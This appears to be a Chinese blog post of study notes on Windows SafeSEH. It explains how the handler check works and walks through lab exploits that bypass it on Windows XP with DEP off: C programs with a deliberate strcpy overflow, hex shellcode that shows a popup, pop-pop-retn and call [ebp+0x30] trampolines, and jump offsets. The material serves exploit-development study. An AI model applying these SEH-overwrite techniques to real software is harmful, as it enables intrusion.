• OD: SafeSEH


    SafeSEH 对异常处理的保护原理

    在 Windows XP sp2 以及之后的版本中,微软引入了 S.E.H 校验机制 SafeSEH。SafeSEH 需要 OS 和 Compiler 的双重支持,二者缺一都会降低保护能力。通过启用 /SafeSEH 链接选项可心使编译好的程序具备 SafeSEH 功能(VS2003 及后续版本默认启用)。该选项会将所有异常处理函数地址提取出来,编入 SEH 表中,并将这张表放到程序的映像里。异常调用时,就与这张预先存好的表中的地址进行校验。

    VS 的 Visual Studio 200* Command Prompt 中,使用 dumpbin /loadconfig *.exe 命令可以查看 SEH 表:

     1 Microsoft (R) COFF/PE Dumper Version 9.00.30729.01
     2 Copyright (C) Microsoft Corporation.  All rights reserved.
     3 
     4 Dump of file gs.exe
     5 
     6 File Type: EXECUTABLE IMAGE
     7 
     8   Section contains the following load config:
     9 
    10             00000048 size
    11                    0 time date stamp
    12                 0.00 Version
    13                    0 GlobalFlags Clear
    14                    0 GlobalFlags Set
    15                    0 Critical Section Default Timeout
    16                    0 Decommit Free Block Threshold
    17                    0 Decommit Total Free Threshold
    18             00000000 Lock Prefix Table
    19                    0 Maximum Allocation Size
    20                    0 Virtual Memory Threshold
    21                    0 Process Heap Flags
    22                    0 Process Affinity Mask
    23                    0 CSD Version
    24                 0000 Reserved
    25             00000000 Edit list
    26             00403000 Security Cookie
    27             004021C0 Safe Exception Handler Table
    28                    1 Safe Exception Handler Count
    29 
    30     Safe Exception Handler Table
    31 
    32           Address
    33           --------
    34           004017F5  __except_handler4
    35 
    36   Summary
    37 
    38         1000 .data
    39         1000 .rdata
    40         1000 .reloc
    41         1000 .rsrc
    42         1000 .text
    View Code

    SafeSEH 机制从 RtlDispatchException() 开始:

    1. 如果异常处理链不在当前程序的栈中,则终止异常处理调用。
    2. 如果异常处理函数的指针指向当前程序的栈中,则终止异常处理调用。
    3. 在前两项检查都通过后,调用 RtlIsValidHandler() 进行异常处理有效性检查。

    Alex 在 08 年的 Black Hat 大会上披露了 RtlIsValidHandler() 的细节:

     1 BOOL RtlIsValidHandler( handler )
     2 {
     3     if (handler is in the loaded image)      // 在加载模块的内存空间内
     4     {
     5         if (image has set the IMAGE_DLLCHARACTERISTICS_NO_SEH flag)
     6             return FALSE;                    // 程序设置了忽略异常处理
     7         if (image has a SafeSEH table)       // 含有 SafeSEH 表说明程序启用了 SafeSEH
     8             if (handler found in the table)  // 异常处理函数地址在表中
     9                 return TRUE;
    10             else
    11                 return FALSE;
    12         if (image is a .NET assembly with the ILonly flag set)
    13             return FALSE;                    // 包含 IL 标志的 .NET 中间语言程序
    14     }
    15 
    16     if (handler is on non-executable page)   // 在不可执行页上
    17     {
    18         if (ExecuteDispatchEnable bit set in the process flags)
    19             return TRUE;                     // DEP 关闭
    20         else
    21             raise ACCESS_VIOLATION;          // 访问违例异常
    22     }
    23 
    24     if (handler is not in an image)          // 在可执行页上,但在加载模块之外
    25     {
    26         if (ImageDispatchEnable bit set in the process flags)
    27             return TRUE;                     // 允许加载模块内存空间外执行
    28         else
    29             return FALSE;
    30     }
    31     return TRUE;                             // 允许执行异常处理函数
    32 }

    由此可见,SafeSEH 对 S.E.H 的保护已经很完善了,能有效降低通过攻击 S.E.H 异常处理函数指针而获得控制权的可能性。RtlIsValidHandler() 函数只有在以下三种情况下都会允许异常处理函数的执行:

    1. 异常处理函数指针位于加载模块内存范围外,并且 DEP 关闭
    2. 异常处理函数指针位于加载模块内存范围内,相应模块未启用 SafeSEH 且不是纯 IL   // 注意,若上述伪代码的第 13 行未执行则会执行第 31 行
    3. 异常处理函数指针位于加载模块内存范围内,相应模块启用 SafeSEH 且函数地址在 SEH 表中

    针对以上三种可能性:

    1. 若 DEP 关闭,则只要在当前模块的内存范围之外找一个跳板,就能转入 shellcode 执行

    2. 第二种情况,可以在加载模块中找一个没有启用 SafeSEH 的模块,用这个未启用 SafeSEH 模块里的指令作为跳板,转入 shellcode 执行。(所以说 SafeSEH 需要 OS 与 Compiler 的双重支持)

    3. 可以考虑清空 SafeSEH 表以欺骗 OS,或者将自己的函数地址注入到 SEH 表中。但因为 SEH 表的信息在内存中是加密的,破坏它很难,故放弃。

    SEH 有一个缺陷:如果 SEH 中的异常函数指针指向堆区,那即使 SEH 校验发现异常处理函数不可信,仍然会调用这个不可信的异常处理函数!所以只要将 shellcode 布置在堆区就能直接跳转执行!!

    另外,攻击返回地址或者虚函数也可以直接绕过 SafeSEH;

    绕过 SafeSEH

    方法一:覆盖函数返回地址。若攻击对象启用了 SafeSEH 但是 没有启用 GS 或者存在未受 GS 保护的函数,则可用这个方法。

    方法二:攻击虚函数表来绕过 SafeSEH。

    方法三:将 shellcode 部署在堆中以绕过 SafeSEH。

    方法三:利用未启用 SafeSEH 的模块绕过 SafeSEH。(针对上述的 RtlIsValidHandler() 函数的第二种放行可能)

    方法四:DEP 关闭时,可以利用加载模块之外的指令作为跳板(见后文示例)。

    利用未启用 SafeSEH 的模块绕过 SafeSEH

    思路是:在没有启用 SafeSEH 并且不是纯 IL 的模块中寻找跳板,利用跳板绕过 SafeSEH。

    以下是实验构建的无 SafeSEH 保护的模块,用来做跳板用:

     1 // Windows XP Sp3 & VC++6.0
     2 //     Project : Win32 Dynamic-Link Library ( not MFC Dll ) - Simple DLL Project
     3 //     Project Settings : Link - Project Option - /base:"0x111120000" ( avoid null-char when trampolining )
     4 // Compile : SEH_NOSafeSEH_JUMP.DLL
     5 //
     6 // SEH_NoSafeSEH_JUMP.cpp : Defines the entry point for the DLL application.
     7 //
     8 
     9 #include "stdafx.h"
    10 
    11 BOOL APIENTRY DllMain( HANDLE hModule, 
    12                        DWORD  ul_reason_for_call, 
    13                        LPVOID lpReserved
    14                      )
    15 {
    16     return TRUE;
    17 }
    18 
    19 void jump()
    20 {
    21     __asm {
    22         pop eax
    23         pop eax
    24         retn
    25     }
    26 }

    这个实验中需要用到一个 OllyDbg 的插件:OllySSEH,下载地址:http://www.openrce.org/downloads/details/244/OllySSEH%20target=

    OllyDbg 加载以上代码编译出的 DLL 文件,使用 OllySSEH 查看 SafeSEH 情况可以发现此 DLL 无 SafeSEH 保护。(但自己写进去的 pop eax, pop eax, retn 没有找到,却在 0x111211B6 处找到了一个 pop,pop,retn 的指令序列,先不管了,直接用)

    将以上代码加入一个 VC++ 6.0 的 Simple DLL Project 中,并按要求设置好链接参数后,可以编译出适合作为跳板的关闭 SafeSEH 的 DLL 文件。将这个 DLL 放置在以下代码形成的 exe 同级目录中,就可以完成弹窗实验:

     1 // safeseh.cpp
     2 //
     3 // Env: Windows XP sp3 (turn off DEP in boot.ini) with VS 2008 (Optimization Disabled)
     4 //      Build Version : Release
     5 #include "stdafx.h"
     6 #include <string.h>
     7 #include <windows.h>
     8 
     9 char shellcode[]=
    10 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    11 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    12 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    13 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    14 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    15 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    16 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    17 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    18 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    19 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    20 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    21 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    22 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    23 "x90x90x90x90x90x90x90x90"
    24 "xEBx0Ex90x90xB6x11x12x11"      // SEH Pointer & Handler
    25 "x90x90x90x90x90x90x90x90"
    26 "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
    27 "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
    28 "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
    29 "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
    30 "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
    31 "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
    32 "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
    33 "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
    34 "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
    35 "x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50"
    36 "x53xFFx57xFCx53xFFx57xF8"      // 168 字节的弹窗 shellcode
    37 ;
    38 
    39 DWORD MyException(void)
    40 {
    41     printf("call MyException()");
    42     getchar();
    43     return 1;
    44 }
    45 
    46 void test(char * input)
    47 {
    48     char str[200];
    49     strcpy(str,input);
    50 
    51     int zero=0;
    52     __try
    53     {
    54         zero/=zero;
    55     }
    56     __except (MyException())
    57     {
    58     }
    59 }
    60 
    61 int main(int argc, _TCHAR* argv[])
    62 {
    63     HINSTANCE hInst = LoadLibrary(_T("SEH_NoSafeSEH_JUMP.dll"));
    64     printf("hInst : %d
    ",hInst);
    65     char str[200];
    66     //__asm int 3
    67     test(shellcode);
    68     return 0;
    69 }

    实验中使用 pop pop retn 作为跳板,所以 shellcode 需要放置在 SEH Handler 的后面,因为触发异常后,执行异常处理过程中栈帧 esp+8 的位置会保存 next SEH handler 的地址。

    书中提到一个需要注意的细节:VS2008 编译的程序,在进入 __try {} __except{} 指令块时,会在 Security Cookie + 4 的位置压入状态值 -2(VC++6.0 下为 -1),进入 __try 区域时程序会根据该 __try 块在函数中的位置而将这个状态值修改成不同的值。若函数中有两个 __try 块,则进入第一个 __try 块时这个值会被修改为 0,进入第二个 __try 块时被修改为 1。如果在 __try 中出现异常,程序会依据这个值来决定调用哪个异常处理函数,处理结束后这个值又会被修改回 -2。如果没有发生异常,则在离开 __try 块时这个值会被重新修改为 -2。这个值在异常处理过程中还有其他用途,以后可以跟踪。Security Cookie 紧跟在 SEH 后,所以这个值位于 SEH + 8 的位置(注意 SEH 本身会占用 8 字节的空间),由此可知,异常触发后,因为是进入函数中的第一个也是唯一一个 __try 块,所以 SEH + 8 的内存会被修改为 0。为了避免 shellcode 受此影响,SEH 之后并不直接写入 shellcode,而是用 8 字节的数据填充(见上述代码第 25 行)——前 4 字节覆盖了 Security Cookie,后 4 字节覆盖前面提到的 __try 块的状态值。

    异常触发后,在执行异常处理函数时,会压入一个新的栈帧,在这个新的栈帧中,esp + 8 的位置存储了 next SEH,即转入当前异常处理函数时的那个 SEH,也即是在异常触发前最顶层的那个被覆盖了的 SEH。由此,pop pop retn 后,会执行代码第 24 行用来覆盖 SEH 的代码。原本可用 8 个 nop 填充 SEH,但我自己实验时发现,被修改为 0 的 __try 状态值会使程序无法正常执行,所以要跳过 __try 块的状态值。这里使用书中提供的方法,即在 pop pop retn 后直接使用短跳指令 0xEB : JMP short Jb - 机器码为 0xEB 0x0E,向前跳 0x0E 个字节(见代码第 24 行)。

    利用加载模块之外的指令作为跳板

     1 // safe_seh.cpp
     2 //
     3 // Env: Windows XP sp3 (turn off DEP in boot.ini) with VS 2008 (Optimization Disabled)
     4 //      Build Version : Release
     5 #include "stdafx.h"
     6 #include <string.h>
     7 #include <windows.h>
     8 char shellcode[]=                       // 216 bytes to next seh
     9 "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
    10 "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
    11 "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
    12 "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
    13 "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
    14 "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
    15 "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
    16 "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
    17 "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
    18 "x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50"
    19 "x53xFFx57xFCx53xFFx57xF8"      // 168 bytes shellcode
    20 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    21 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    22 "x90x90x90x90x90x90x90x90"      // 40 bytes nops
    23 "xE9x2BxFFxFFxFFx90x90x90"      // far jump and nops : jmp -213
    24 "xEBxF6x90x90"                      // short jump and nops
    25 "x0Bx0Bx28x00"                      // addr of trampolining : call [ebp+0x30]
    26 ;
    27 
    28 DWORD MyException(void)
    29 {
    30     printf("exception caught.");
    31     getchar();
    32     return 1;
    33 }
    34 
    35 void test(char* input)
    36 {
    37     char str[200];
    38     strcpy(str,input);
    39     int zero=0;
    40     __try{
    41         zero=1/zero;
    42     }
    43     __except(MyException())
    44     {
    45     }
    46 }
    47 
    48 int _tmain(int argc, _TCHAR* argv[])
    49 {
    50     test(shellcode);
    51     return 0;
    52 }

    shellcode 准备完备之前,先用 OllyDbg Plugin : OllyFindAddr - Overflow Return Address - Find CALL/JMP [EBP+N] 来寻找可以使用的跳板,操作完成后,打开 OllyDbg 的 Log,并与 OllyDbg Plugin : SafeSEH 的结果对比(SafeSEH 结果中 SafeSEH ON 的模块均有 SafeSEH 保护),在非加载模块(EXE/DLL)的地方(Module : Unknow)找到一条很好的跳板:0x00280B0B : call [ebp+0x30]。(参照书中的引导,完成 shellcode 之后,经调试发现异常处理函数调用时, ebp + 0x30 处存放的是 next SEH struct,即代码中的第 24 行)

    跳板地址含有 0x00,所以 shellcode 只能放置在 SEH structure 之前,这里又用到了上一个实验中使用的 jmp 向前跳的方法,而且还用了两次:第一次向前跳 10 字节(第 24 行,向前跳以 jmp 指令的下一条指令地址为基址,所以此处向前跳 8 个字节,但指令为 jmp -10,因为 jmp -10 本身占用 2 个字节),第二次向前跳 215 字节,用的是长跳指令 0xE9 : JMP near Jz

    IE 中利用未启用 SafeSEH 的模块绕过 SafeSEH 保护

    书中使用 Flash Player 9.0.124(最后一个不支持 SafeSEH 的 FlashPlayer 版本)和自定义的含溢出漏洞的 COM 组件进行实验,踏板地址选择 Flash Player 组件中的 call [ebp+0xc] 所在的地址。我跟了一下,[ebp+0xc] 和 [ebp+0x30] 都指向 next SEH structure

  • 相关阅读:
    android学习日记28--Android中常用设计模式总结
    android学习日记27--Dialog使用及其设计模式
    android学习日记26--AIDL之进程间的通信
    android学习日记25--ANR和Hander消息机制
    android学习日记24--Android 菜单开发
    android学习日记23--Android XML解析
    android学习日记22--Animation动画简介
    android学习日记21--消息提示之Toast和Notification
    编写高质量JS代码中
    博客建站的几点思考
  • 原文地址:https://www.cnblogs.com/exclm/p/3958738.html
Copyright © 2020-2023  润新知